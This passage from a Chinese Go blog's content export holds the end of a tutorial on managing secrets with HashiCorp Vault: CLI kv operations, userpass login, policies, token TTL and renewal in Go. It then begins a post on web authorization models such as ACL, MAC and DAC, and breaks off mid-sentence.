--- ----- token hvs.9QOJsa7zlwHO8ieW15CXXoOp token_accessor 170OHOscEZjfl8fSa8aVpNkZ token_duration ∞ token_renewable false token_policies [\u0026quot;root\u0026quot;] identity_policies [] policies [\u0026quot;root\u0026quot;] 之后，root token就被放置在“~/.vault-token”中了：\n$cat ~/.vault-token hvs.9QOJsa7zlwHO8ieW15CXXoOp 注：我们通常不会使用root token，而是会利用vault token命令生成新token作为vault cli访问vault server的token。\n现在我们重新执行一下kv put命令：\n$vault kv put -mount=secret hello foo=world == Secret Path == secret/data/hello ======= Metadata ======= Key Value --- ----- created_time 2023-11-06T03:01:25.968883Z custom_metadata \u0026lt;nil\u0026gt; deletion_time n/a destroyed false version 2 kv创建成功，路径secret/data/hello(注：vault会默认在mount的路径secret下创建data路径)。vault server在将value值存储在backend storage(这里是memory)前，会用Encryption Key对内容进行加密。如果你多执行几次这个命令，你会发现输出信息中的version的数值会递增，这个数值表示设置的值的版本。\n我们可以用kv get获取刚才写入的kv值，vault会将数据从backend storage中读取出来并解密：\n$vault kv get -mount=secret hello == Secret Path == secret/data/hello ======= Metadata ======= Key Value --- ----- created_time 2023-11-06T03:01:25.968883Z custom_metadata \u0026lt;nil\u0026gt; deletion_time n/a destroyed false version 2 === Data === Key Value --- ----- foo world 我们还可以通过delete删除刚刚建立的kv值(为后面的基本场景示例做铺垫)：\n$vault kv delete secret/foo Success! Data deleted (if it existed) at: secret/data/foo $vault kv get secret/foo No value found at secret/data/foo 到这里我们看到，一旦vault安装完毕后，基本使用场景还是蛮简单的，但也仅限于基本使用场景^_^。下面我们再来看看如何通过代码来实现这些基本功能场景。\n3.5 使用client SDK与Vault交互 Vault支持各种主流语言的client SDK，其中Vault官方维护了三个：Go、Ruby和C#，其他语言的SDK则是由社区维护。\n我们用Go Client SDK来编写一个设置kv和获取kv值的小程序，如下面代码所示：\n// secret-management-examples/basic/main.go package main import ( \u0026quot;context\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;github.com/hashicorp/vault/api\u0026quot; ) func main() { // 创建一个新的Vault客户端 client, err := api.NewClient(api.DefaultConfig()) if err != nil { fmt.Println(\u0026quot;无法创建Vault客户端:\u0026quot;, err) return } // 设置Vault服务器的地址 client.SetAddress(\u0026quot;http://localhost:8200/\u0026quot;) // 设置Vault的访问令牌（如果需要认证） client.SetToken(\u0026quot;hvs.9QOJsa7zlwHO8ieW15CXXoOp\u0026quot;) // 设置要写入的机密信息 secretData := map[string]interface{}{ \u0026quot;foo\u0026quot;: \u0026quot;bar\u0026quot;, } kv2 := client.KVv2(\u0026quot;secret\u0026quot;) // mount \u0026quot;secret\u0026quot; // 写入机密信息到Vault的secret/data/{key}路径下 key := \u0026quot;hello\u0026quot; _, err = kv2.Put(context.Background(), key, secretData) if err != nil { fmt.Println(\u0026quot;无法写入机密信息:\u0026quot;, err) return } // 读取Vault的secret/data/{key}路径下的机密信息 secret, err := kv2.Get(context.Background(), key) if err != nil { fmt.Println(\u0026quot;无法读取机密信息:\u0026quot;, err) return } // 打印读取到的值 fmt.Println(\u0026quot;读取到的值:\u0026quot;, secret.Data) } 我们看到：默认创建的api.Client操作的都是v1版本的数据，这里通过KVv2方法将其转换为可以操作v2版本数据的client，之后put和get就可以如预期正常工作了！\n下面是其运行结果：\n$go run main.go 读取到的值: map[foo:bar] 有了基础场景做铺垫，接下来我们就进入实例环节，看看应用是如何基于Vault应对一些常见的机密管理场景的。\n4. 常见的机密管理场景 Vault支持对多种机密信息的管理，包括应用访问外部服务或资源所需的用户名/密码、API密钥或访问令牌(token)，应用程序的配置中的机密配置信息，比如数据库连接字符串、加密密钥等，以及私钥、证书等加密相关的机密信息等。这里我们就分别来看看应用与Vault集成并获取这些机密信息的场景，不过在这之前，我们首先需要先来了解一下应用本身与Vault是如何集成的。\n4.1 应用通过Vault身份认证和授权的方法 在3.5小节的基本场景示例中，我们的client使用了一个长期有效的token通过了Vault的身份认证和授权环节，拥有了操作Vault数据的权限。\ntoken auth方法也是dev模式下Vault server实例支持的唯一auth method，我们可以通过auth list命令查看vault server当前支持的auth方法集合：\n$vault auth list Path Type Accessor Description Version ---- ---- -------- ----------- ------- token/ token auth_token_6f9cc41c token based credentials n/a 不过，基于token来实现app与Vault的集成并非Vault官方推荐的在生产环境使用的auth方式，理由也很明显：这种方式涉及手动创建一个长期有效的令牌，这有悖于最佳实践，并存在安全风险。\n除了Token auth method，Vault还支持AppRole、JWT/OIDC、TLS证书以及User/Password等多种auth method，这些auth method的共同之处在于通过身份认证后，Vault可自动创建短期令牌供客户端使用，无需定期手动生成新令牌，短期令牌可以减少令牌泄露的风险，因为短期令牌在一定时间后会自动失效，并需要重新进行身份认证。\n简单起见，我这里就用User/Password method作为实例演示一下应用通过Vault的身份认证和授权。\n我们先来开启(enable)基于User/Password的auth method：\n$vault auth enable userpass Success! Enabled userpass auth method at: userpass/ 该命令默认将会启用auth/userpass路径，之后通过auth list查看，就能在list中看到新增的userpass auth method了：\n$vault auth list Path Type Accessor Description Version ---- ---- -------- ----------- ------- token/ token auth_token_6f9cc41c token based credentials n/a userpass/ userpass auth_userpass_b5b6e974 n/a n/a 接下来，我们在vault服务实例中建立一个新的user：\n$vault write auth/userpass/users/tonybai password=ilovegolang Success! Data written to: auth/userpass/users/tonybai $vault read auth/userpass/users/tonybai Key Value --- ----- token_bound_cidrs [] token_explicit_max_ttl 0s token_max_ttl 0s token_no_default_policy false token_num_uses 0 token_period 0s token_policies [default] token_ttl 0s token_type default 下面是示例代码：\n// secret-management-examples/auth_user_password/main.go package main import ( \u0026quot;context\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;github.com/hashicorp/vault/api\u0026quot; auth \u0026quot;github.com/hashicorp/vault/api/auth/userpass\u0026quot; ) func main() { user := \u0026quot;tonybai\u0026quot; pass := \u0026quot;ilovegolang\u0026quot; // 创建Vault API客户端 client, err := api.NewClient(api.DefaultConfig()) if err != nil { fmt.Printf(\u0026quot;无法创建Vault客户端: %v\\n\u0026quot;, err) return } // 设置 Vault 地址 client.SetAddress(\u0026quot;http://localhost:8200\u0026quot;) // client登录vault服务器获取临时访问令牌 userpassAuth, err := auth.NewUserpassAuth(user, \u0026amp;auth.Password{FromString: pass}) if err != nil { fmt.Errorf(\u0026quot;无法初始化userpass auth method: %w\u0026quot;, err) return } secret, err := client.Auth().Login(context.Background(), userpassAuth) if err != nil { fmt.Errorf(\u0026quot;登录Vault失败: %w\u0026quot;, err) return } if secret == nil { fmt.Printf(\u0026quot;登录后没有secret信息返回: %v\\n\u0026quot;, err) return } fmt.Printf(\u0026quot;登录Vault成功\\n\u0026quot;) token := secret.Auth.ClientToken // 设置临时访问令牌 client.SetToken(token) kv2 := client.KVv2(\u0026quot;secret\u0026quot;) // mount \u0026quot;secret\u0026quot; // 读取Vault的secret/data/{key}路径下的机密信息 data, err := kv2.Get(context.Background(), \u0026quot;hello\u0026quot;) if err != nil { fmt.Println(\u0026quot;无法读取机密信息:\u0026quot;, err) return } // 打印读取到的值 fmt.Println(\u0026quot;读取到的值:\u0026quot;, data.Data) } 如果你在Vault的GO SDK中没有找到对user/password auth method的直接支持，你也可以参考user/password auth method的API文档自行实现登录Vault并读取特定机密信息，代码如下(与上面代码功能是等价的)：\n// secret-management-examples/auth_user_password_self_impl/main.go func clientAuth(vaultAddr, user, pass string) (*api.Secret, error) { payload := fmt.Sprintf(`{\u0026quot;password\u0026quot;: \u0026quot;%s\u0026quot;}`, pass) req, err := http.NewRequest(\u0026quot;POST\u0026quot;, vaultAddr+\u0026quot;/v1/auth/userpass/login/\u0026quot;+user, strings.NewReader(payload)) if err != nil { return nil, err } resp, err := http.DefaultClient.Do(req) if err != nil { return nil, err } defer resp.Body.Close() body, err := io.ReadAll(resp.Body) if err != nil { return nil, err } if resp.StatusCode != http.StatusOK { return nil, errors.New(string(body)) } return api.ParseSecret(bytes.NewReader(body)) } func main() { vaultAddr := \u0026quot;http://localhost:8200\u0026quot; user := \u0026quot;tonybai\u0026quot; pass := \u0026quot;ilovegolang\u0026quot; // client登录vault服务器获取临时访问令牌 secret, err := clientAuth(vaultAddr, user, pass) if err != nil { fmt.Printf(\u0026quot;登录Vault失败: %v\\n\u0026quot;, err) return } fmt.Printf(\u0026quot;登录Vault成功\\n\u0026quot;) // 创建Vault API客户端 client, err := api.NewClient(api.DefaultConfig()) if err != nil { fmt.Printf(\u0026quot;无法创建Vault客户端: %v\\n\u0026quot;, err) return } // 设置 Vault 地址 client.SetAddress(\u0026quot;http://localhost:8200\u0026quot;) token := secret.Auth.ClientToken // 设置临时访问令牌 client.SetToken(token) kv2 := client.KVv2(\u0026quot;secret\u0026quot;) // mount \u0026quot;secret\u0026quot; // 读取Vault的secret/data/{key}路径下的机密信息 data, err := kv2.Get(context.Background(), \u0026quot;hello\u0026quot;) if err != nil { fmt.Println(\u0026quot;无法读取机密信息:\u0026quot;, err) return } // 打印读取到的值 fmt.Println(\u0026quot;读取到的值:\u0026quot;, data.Data) } 我们运行一下上述两个示例代码之一：\n$go run main.go 登录Vault成功 无法读取机密信息: error encountered while reading secret at secret/data/hello: Error making API request. URL: GET http://localhost:8200/v1/secret/data/hello Code: 403. Errors: * 1 error occurred: * permission denied 通过错误信息来看，“tonybai”这个user没有权限读取secret/data/hello下的机密信息！那么怎么给这个用户加上secret/data/hello的读取权限呢？Vault通过policy来管理权限，如果某个user具有某个policy的绑定，那么该user就拥有该policy设定的权限，这有点像RBAC的思路，只是没有引入role的概念! 我们先来添加一个拥有secret/data/hello读权限的policy：\n$vault policy write my-policy -\u0026lt;\u0026lt;EOF # Allow \u0026quot;read\u0026quot; permission on \u0026quot;secret/data/*\u0026quot; secrets path \u0026quot;secret/data/*\u0026quot; { capabilities = [\u0026quot;read\u0026quot;] } EOF Success! Uploaded policy: my-policy 接下来重写user的属性数据，将my-policy赋给”tonybai”这个user：\n$vault write auth/userpass/users/tonybai password=ilovegolang token_policies=my-policy Success! Data written to: auth/userpass/users/tonybai $vault read auth/userpass/users/tonybai Key Value --- ----- token_bound_cidrs [] token_explicit_max_ttl 0s token_max_ttl 0s token_no_default_policy false token_num_uses 0 token_period 0s token_policies [my-policy] token_ttl 0s token_type default 完成上述设置后，我们再来运行一下基于user/password auth method的程序：\n$go run main.go 登录Vault成功 读取到的值: map[foo:bar] 这次程序成功登录Vault并成功读取了secret/data/hello下面的机密数据。\n这里我们除了设置了token_policies，其他属性都保持了默认值，这样我们拿到的临时token其实并不“临时”，我们可以一直使用。下面我们通过设置token_ttl来指定每个临时token的最大有效时间：\n$vault write auth/userpass/users/tonybai password=ilovegolang token_policies=my-policy token_ttl=5s Success! Data written to: auth/userpass/users/tonybai $vault read auth/userpass/users/tonybai Key Value --- ----- token_bound_cidrs [] token_explicit_max_ttl 0s token_max_ttl 0s token_no_default_policy false token_num_uses 0 token_period 0s token_policies [my-policy] token_ttl 5s token_type default 我们改写一下程序，让程序每隔1秒用临时token获取一下机密信息并输出：\n// secret-management-examples/auth_user_password_renewal/main.go (临时版本) for { // 每个一秒读取一次Vault的secret/data/{key}路径下的机密信息 data, err := kv2.Get(context.Background(), \u0026quot;hello\u0026quot;) if err != nil { fmt.Println(\u0026quot;无法读取机密信息:\u0026quot;, err) return } // 打印读取到的值 log.Println(\u0026quot;读取到的值:\u0026quot;, data.Data) time.Sleep(time.Second) } 我们运行这个程序将得到如下结果：\n$go run main.go 登录Vault成功 2023/11/06 05:24:17 读取到的值: map[foo:bar] 2023/11/06 05:24:18 读取到的值: map[foo:bar] 2023/11/06 05:24:19 读取到的值: map[foo:bar] 2023/11/06 05:24:20 读取到的值: map[foo:bar] 2023/11/06 05:24:21 读取到的值: map[foo:bar] 无法读取机密信息: error encountered while reading secret at secret/data/hello: Error making API request. URL: GET http://localhost:8200/v1/secret/data/hello Code: 403. Errors: * permission denied 我们看到如果token过期，而我们的程序又没有对token进行续期(renewal)，程序后续对Vault中机密数据的访问将以”permission denied”的失败而告终。下面我们就来为程序加上token续期，Vault SDK提供了LifetimeWatcher来辅助token续期工作，下面就是利用LifetimeWatcher进行token续期的示例：\n// secret-management-examples/auth_user_password_renewal/main.go package main import ( \u0026quot;context\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;log\u0026quot; \u0026quot;time\u0026quot; \u0026quot;github.com/hashicorp/vault/api\u0026quot; auth \u0026quot;github.com/hashicorp/vault/api/auth/userpass\u0026quot; ) func main() { user := \u0026quot;tonybai\u0026quot; pass := \u0026quot;ilovegolang\u0026quot; // 创建Vault API客户端 client, err := api.NewClient(api.DefaultConfig()) if err != nil { fmt.Printf(\u0026quot;无法创建Vault客户端: %v\\n\u0026quot;, err) return } // 设置 Vault 地址 client.SetAddress(\u0026quot;http://localhost:8200\u0026quot;) // client登录vault服务器获取临时访问令牌 userpassAuth, err := auth.NewUserpassAuth(user, \u0026amp;auth.Password{FromString: pass}) if err != nil { fmt.Errorf(\u0026quot;无法初始化userpass auth method: %w\u0026quot;, err) return } secret, err := client.Auth().Login(context.Background(), userpassAuth) if err != nil { fmt.Errorf(\u0026quot;登录Vault失败: %w\u0026quot;, err) return } if secret == nil { fmt.Printf(\u0026quot;登录后没有secret信息返回: %v\\n\u0026quot;, err) return } fmt.Printf(\u0026quot;登录Vault成功\\n\u0026quot;) token := secret.Auth.ClientToken // 设置临时访问令牌 client.SetToken(token) // 设置renewel watcher watcher, err := client.NewLifetimeWatcher(\u0026amp;api.LifetimeWatcherInput{ Secret: secret, }) go watcher.Start() defer watcher.Stop() kv2 := client.KVv2(\u0026quot;secret\u0026quot;) // mount \u0026quot;secret\u0026quot; ticker := time.NewTicker(time.Second) for { select { case err := \u0026lt;-watcher.DoneCh(): if err != nil { log.Printf(\u0026quot;Failed to renew token: %v. Re-attempting login.\u0026quot;, err) return } // This occurs once the token has reached max TTL. log.Printf(\u0026quot;Token can no longer be renewed. Re-attempting login.\u0026quot;) return case renewal := \u0026lt;-watcher.RenewCh(): // Renewal is now over log.Printf(\u0026quot;Successfully renewed: %#v\u0026quot;, renewal) case \u0026lt;-ticker.C: // 每个一秒读取一次Vault的secret/data/{key}路径下的机密信息 data, err := kv2.Get(context.Background(), \u0026quot;hello\u0026quot;) if err != nil { fmt.Println(\u0026quot;无法读取机密信息:\u0026quot;, err) continue } // 打印读取到的值 log.Println(\u0026quot;读取到的值:\u0026quot;, data.Data) } } } 运行上述示例(此时token_ttl为5s)：\n$go run main.go 登录Vault成功 2023/11/06 05:17:42 Successfully renewed: \u0026amp;api.RenewOutput{RenewedAt:time.Date(2023, time.November, 7, 14, 17, 42, 233750000, time.UTC), Secret:(*api.Secret)(0xc000114a80)} 2023/11/06 05:17:43 读取到的值: map[foo:bar] 2023/11/06 05:17:44 读取到的值: map[foo:bar] 2023/11/06 05:17:45 读取到的值: map[foo:bar] 2023/11/06 05:17:45 Successfully renewed: \u0026amp;api.RenewOutput{RenewedAt:time.Date(2023, time.November, 7, 14, 17, 45, 841374000, time.UTC), Secret:(*api.Secret)(0xc0002827e0)} 2023/11/06 05:17:46 读取到的值: map[foo:bar] 2023/11/06 05:17:47 读取到的值: map[foo:bar] 2023/11/06 05:17:48 读取到的值: map[foo:bar] 2023/11/06 05:17:49 读取到的值: map[foo:bar] 2023/11/06 05:17:49 Successfully renewed: \u0026amp;api.RenewOutput{RenewedAt:time.Date(2023, time.November, 7, 14, 17, 49, 443211000, time.UTC), Secret:(*api.Secret)(0xc0002831a0)} 2023/11/06 05:17:50 读取到的值: map[foo:bar] 2023/11/06 05:17:51 读取到的值: map[foo:bar] 2023/11/06 05:17:52 读取到的值: map[foo:bar] 2023/11/06 05:17:53 Successfully renewed: \u0026amp;api.RenewOutput{RenewedAt:time.Date(2023, time.November, 7, 14, 17, 53, 46880000, time.UTC), Secret:(*api.Secret)(0xc000115a40)} 2023/11/06 05:17:53 读取到的值: map[foo:bar] 2023/11/06 05:17:54 读取到的值: map[foo:bar] ... ... 我们看到，在token过期之前，LifetimeWatcher帮助Client完成了续期请求。LifetimeWatcher运行在一个单独的goroutine中，通过channel与main goroutine通信。Vault默认token_max_ttl的值为32天，即便你没有设置其值，当token续期到32天时，就无法再renew了，此时watcher.DoneCh会返回事件，这是让你重新login的信号，示例中只给出了注释，并未重新login，大家注意一下。出于安全考虑，可以将token_max_ttl设置为一个合理的值，使其起到应有的安全作用。\n通过这个示例我们看到，只要通过Vault的身份认证和授权，我们就能安全地存储和使用机密信息了。那么如何保证应用在与Vault进行身份认证和授权时所使用的凭据的安全呢？比如上面程序里所需的user和password。这个感觉又回到“先有鸡还是先有蛋”的问题了！实际在生产环境，我们可以依赖IaaS层或公有云的安全措施来保证，比如通过环境变量在运行时注入user和password；再比如利用公有云提供的KMS(key management system)或HSM(Hardware Security Module)服务来保证user和password安全。\n4.2 静态secret 将静态secret作为机密信息保存和管理，是Vault非常常见的应用。secret可以存在很长时间不变，或可能很少改变。Vault可以使用它的加密屏障(barrier)存储这些secret，应用程序运行时可以向Vault请求读取这些secret来使用。\nVault的versioned secrets engine支持你以安全的方式存储和管理secret，同时还提供secret的版本控制能力。你可以使用不同版本的secret进行应用程序升级或回滚，也可以在需要时轻松地恢复旧版本secret。引擎还可以记录secret每个版本的修改人和修改时间。\n关于静态secret的管理和使用，可以参见3.5中的基本场景，这里就不赘述了。\n4.3 动态secret 有静态、长有效期的静态secret，就会有对应的动态secret。和静态secret相比，动态secret安全性高，每个动态secret的有效期都较短，并且一旦泄露可以马上撤销，同时动态secret也便于轮换，定期自动过期无需中断业务。\nVault提供了对多种针对不同系统的动态secret管理能力，包括数据库访问凭据、Active Directory账号, SSH keys和PKI certificates ，Vault针对不同系统提供了不同的secret engine。\nVault官方举了一个有关使用Database Secrets Engine实现数据库动态secret的示例，\n鉴于篇幅，这里也不细说了。\n4.4 其他场景 根据Vault官方文档对Vault应用场景的描述，除了静态和动态secret类机密信息，Vault可以处理以下类型的机密信息：\n数据加密类(Data encryption)机密信息 Vault支持将数据加密服务外包给Vault，应用只需关注数据的加密与解密，Vault负责核心密钥和加密管理。Vault还支持对数据进行传输加密与存储加密。\n身份识别类(Identity-Based access)机密信息 Vault支持从不同身份验证系统整合用户身份，实现统一的ACL系统，管理对系统和应用的访问。\n加密密钥类(Key management)机密信息 Vault支持对云提供商密钥的生命周期管理，例如管理AWS KMS或GCP云密钥。\n鉴于篇幅和实验环境有限，这里就针对每种情况做详细示例说明了，大家可以根据自己的需求，针对具体的某个场景做专题性的研究。\n5. 小结 本文首先介绍了机密管理的概念，阐述了在现代Web应用开发中，为何需要重视机密管理。\n接着，文中概述了专用于实现机密管理的机密管理系统的发展历程，以及从功能上逐步演化出的云原生机密管理系统的特征。\n文章以业内知名的开源机密管理系统HashiCorp Vault为例，全面系统地介绍了它的架构设计、安全模型、使用方法，并详细阐释了应用程序如何通过与Vault API/SDK的集成，实现对各类机密信息的安全存储、动态生成、访问控制、审计等功能。\n最后，文章用代码实例详细演示了基于Vault的几个典型机密管理场景，如不同类型机密信息的读写操作，以及不同认证方式的集成等。\n这是个”每个人都应该重视安全的时代”，安全需要每个环节的参与，一处薄弱，就会导致“处处薄弱”。我相信本文的内容能有助于让大家对机密管理的概念、重要性及具体实现方法有更深入的理解。\n本文涉及的代码可以在这里下载。\n注：Vault项目还提供了Vault Agent和Vault Proxy，旨在为应用提供更可扩展、更简单的方式来集成Vault，消除应用程序采用Vault的初期障碍。Vault Agent可以获取secrets并将它们提供给应用程序，Vault Proxy可以在Vault和应用程序之间充当代理，可选地简化认证过程并缓存请求。有兴趣的童鞋可以参考Vault Agent和Proxy的官方文档。\n6. 参考资料 Comparative Analysis of Cryptographic Key Management Systems – https://arxiv.org/abs/2109.09905 What are the Practices for Secret Management in Software Artifacts? – https://arxiv.org/abs/2208.11280 Shamir’s secret sharing – https://en.wikipedia.org/wiki/Shamir%27s_secret_sharing HashiCorp Vault – https://www.hashicorp.com/blog/vault-announcement Vault Architecture – https://developer.hashicorp.com/vault/docs/internals/architecture External Secrets – https://github.com/external-secrets/external-secrets 5 best practices for secrets management – https://www.hashicorp.com/resources/5-best-practices-for-secrets-management Secrets Management Cheat Sheet – https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html Secret Management – https://www.imperva.com/learn/data-security/secret-management/ Best practices for secrets management in Key Vault – https://learn.microsoft.com/en-us/azure/key-vault/secrets/secrets-best-practices Glossary: Secrets Management – https://www.beyondtrust.com/resources/glossary/secrets-management “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/11/08/understand-go-web-secret-management-by-example/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-go-web-secret-management-by-example-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/11/08/understand-go-web-secret-management-by-example\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/11/08/understand-go-web-secret-management-by-example\"\u003ehttps://tonybai.com/2023/11/08/understand-go-web-secret-management-by-example\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e如果你是一个Web应用系统的开发人员，你的日常大概率是“乐此不疲”地做着\u003ca href=\"https://www.codecademy.com/article/what-is-crud\"\u003eCRUD\u003c/a\u003e的活儿，很少接触到安全方面的内容。如果这时有人和你提到“机密(信息)管理(secret management)”，你大概率会说：那是啥？和我有关系吗？\u003c/p\u003e","title":"通过实例理解Web应用的机密管理"},{"content":"\n本文永久链接 – https://tonybai.com/2023/11/04/understand-go-web-authz-by-example\n在前面的系列文章中，我们了解了Go Web应用身份认证的几种方式，也知道了该如何相对安全地存储用户的密码信息，最大程度减小在系统数据库被攻破时用户密码信息的泄露程度。\n一旦用户通过身份验证，他/她就可以以合法的身份进入到系统中，那么问题来了：用户进入系统后是否就可以“为所欲为”了呢？显然不是! 比如我们以普通用户身份登录github，身份验证成功后，我们只能增删改自己账号下的代码仓库数据或读取其他用户的公开仓库(public)数据，我们无法修改和删除其他用户下面的仓库数据，甚至看不到其他用户的私有仓库。Web应用系统(比如github)的这种对用户可以使用什么功能、可以访问和修改哪些数据的管理和控制，就是授权(Authorization)，简称为AuthZ。\n在这篇文章中，我们就结合实例一起来了解一下Web应用都有哪些种授权方式。\n1. 授权：基于访问控制策略的评估与决策 在Go Web应用身份认证的几种方式一文中，我们简要说明了身份认证(AuthN)与授权(AuthZ)的关系与差异。授权是基于用户身份认证的基础之上的，按时间发生顺序，授权也是发生在身份认证之后的。\n授权的目的是限制合法用户在系统中的操作，限制未经允许的访问。这让很多人将授权与访问控制(access control)直接划上了等号。其实授权与访问控制的确是密不可分的，但它们之间也不是可以简单划等号的。下面示意图展示了一个Web应用系统中授权与访问控制的关系：\n从广义上看，授权和访问控制都属于对系统资源或信息的保护，它们的目的是限制未经授权的访问。从具体来看，访问控制关注的是如何控制主体访问对象，是一种机制或方法，它通常会定义访问模型以及相关访问策略；而授权则关注主体是否有权访问对象，是在已知用户身份以及访问控制策略下对访问请求的评估和决策过程，并得出主体是否具有访问权限的最终结果。\n从上图我们也可以看到：授权是建立在访问控制之上的。访问控制定义了授权评估所需的模型、策略、机制和规则，授权则是在这套规则下，评估一个主体对一个对象的操作是否被允许，两者关系密不可分。在实现上，我们通常会联合使用“访问控制”和“授权”这两个概念，对外部更多用授权一词作为这个过程的统称。\n到这里，我们理解了访问控制与授权的关系 – 访问控制提供了授权评估所需的模型和规则体系。针对不同的应用场景，IT界有几种典型的访问控制模型被提出和使用：\n访问控制列表（Access Control List，ACL） 强制访问控制（Mandatory Access Control，MAC） 自主访问控制（Discretionary Access Control，DAC） 基于属性的访问控制（Attribute-Based Access Control， ABAC) 基于角色的访问控制(Role-Based Access Control， RBAC） 这些模型为我们建立访问策略提供了框架和抽象工具。理解不同访问控制模型的思想和适用场景，可以帮助我们更好地制定系统的安全访问策略。在接下来的内容中，我们会简单介绍这几种访问控制模型，包括它们应用场景、优缺点等。这也将帮助大家建立访问控制和授权评估的整体视角，也可以为后续使用Go语言实现授权控制的实例提供理论基础。\n2. 访问控制模型 和任何其它IT技术一样，访问控制模型也有着自己的演进历史过程。下面我们沿着模型演进的时间线，逐个认识一下各个模型。\n2.1 访问控制列表（Access Control List，ACL) ACL是最早的访问控制模型，基于ACL的访问控制会直接在被访问对象(也称为客体(O – Object))上设置允许/拒绝访问的主体(S – Subject)列表，最典型的就是Unix/Linux文件系统中文件的访问模型，如下图：\n由此可见，这个模型并非专属于Web应用授权。早在上世纪60年代，它就广泛应用在操作系统中文件系统的访问权限管理。在1965年，Multics操作系统第一个实现了基于ACL模型的文件系统访问权限管理。POSIX曾推出ACL标准化草案，但后来放弃。但ACL并未因此受到打击，后来在NFSv4、Windows、Unix等系统中都有实现。之后，ACL被广泛地应用于网络领域，包括路由器、交换机以及防火墙都借助于访问控制列表来有效地控制用户对网络的访问，从而最大程度地保障网络安全。\nACL模型的优点是简单易用，但也存在灵活性差、难于扩展和满足复杂应用场景访问控制要求等不足。\nACL模型在现代Web应用中使用的越来越少，仅用于少数控制对特定资源访问权限的特定场景。例如，在静态文件服务器中，可以通过在文件系统中使用ACL来控制对文件或目录的访问权限。在复杂的现代Web应用领域，一些由ACL发展演化出的更灵活、更具扩展性的模型已经发展起来并走到了前台，比如后续即将要提到的RBAC和ABAC模型。\n2.2 强制访问控制（Mandatory Access Control，MAC） 强制访问控制（Mandatory Access Control，MAC）起源于军用的多级安全系统，在MAC模型中，系统层强制执行访问控制策略，用户层无法更改。在操作系统领域，我们熟知的Linux的SELinux和AppArmor，Windows的Mandatory Integrity Control都属于MAC模型的实现。这种模型通常用于需要高度安全的环境，如军事或政府部门。\n不过，MAC由于其中心化的强制控制方式，让其灵活性较差，并且实施起来相对复杂，在现代Web应用领域的使用场景有限。我理解这种MAC模型映射到Web应用领域的具体呈现就是“写死”到代码中的访问控制逻辑和授权决策逻辑，这些“系统层”逻辑是所有到达Web应用的请求必经的且无法进行配置和改变的。\n一个典型的应用就是对资源根据安全等级进行的强制访问控制：用户只能访问其安全等级低于或等于自身安全等级的资源。下面是一个演示性质的代码例子：\n// authz-examples/mac/main.go // 定义安全等级 type SecurityLevel int const ( // 最低安全等级 LevelLow SecurityLevel = iota // 中等安全等级 LevelMedium // 最高安全等级 LevelHigh ) // 定义资源 type Resource struct { // 资源名称 Name string // 安全等级 Level SecurityLevel } // 定义用户 type User struct { // 用户名 Name string // 安全等级 Level SecurityLevel } // 定义访问控制策略 func CheckAccess(user User, resource Resource) bool { // 检查用户的安全等级是否高于或等于资源的安全等级 return user.Level \u0026gt;= resource.Level } func main() { // 创建资源 resource := Resource{ Name: \u0026quot;敏感数据\u0026quot;, Level: LevelHigh, } // 创建用户 user := User{ Name: \u0026quot;管理员\u0026quot;, Level: LevelHigh, } // 检查访问权限 if CheckAccess(user, resource) { fmt.Printf(\u0026quot;用户[%s]有权访问资源\\n\u0026quot;, user.Name) } else { fmt.Printf(\u0026quot;用户[%s]没有权限访问资源\\n\u0026quot;, user.Name) } // 创建用户 user = User{ Name: \u0026quot;访客\u0026quot;, Level: LevelLow, } // 检查访问权限 if CheckAccess(user, resource) { fmt.Printf(\u0026quot;用户[%s]有权访问资源\\n\u0026quot;, user.Name) } else { fmt.Printf(\u0026quot;用户[%s]没有权限访问资源\\n\u0026quot;, user.Name) } } 在这个例子中，我们定义了三个安全等级：LevelLow、LevelMedium和LevelHigh。资源和用户都被分配了安全等级。CheckAccess函数用于执行强制的访问控制策略：即用户只能访问其安全等级低于或等于自身安全等级的资源。\n2.3 自主访问控制（Discretionary Access Control，DAC） DAC模型基于资源所有者对其资源的访问权限进行授予和控制。在DAC模型中，资源的所有者可以自主决定哪些用户或实体可以访问他们的资源，以及对资源的访问权限级别。资源的所有者可以决定将资源设置为公开访问、私有访问或仅限于特定用户或用户组的访问。通过授权用户或实体访问资源，资源的所有者具有灵活性和自主权来管理他们的资源。\n很显然，这样的DAC模型具有较为灵活的优点，允许资源所有者根据自己的需求和偏好授予和撤销访问权限。这使得资源的访问控制可以针对个体用户进行定制，满足不同用户的需求。同时，DAC模型具备分散控制的特征，它将访问控制的决策权下放给资源的所有者，而不是集中在中央管理机构。这样可以减轻管理负担，并且资源的所有者可以更直接地管理和控制自己的资源。\n使用自主访问控制（DAC）模型进行访问控制的Web应用的典型例子是文件共享服务，即我们经常说的网盘服务，比如Google 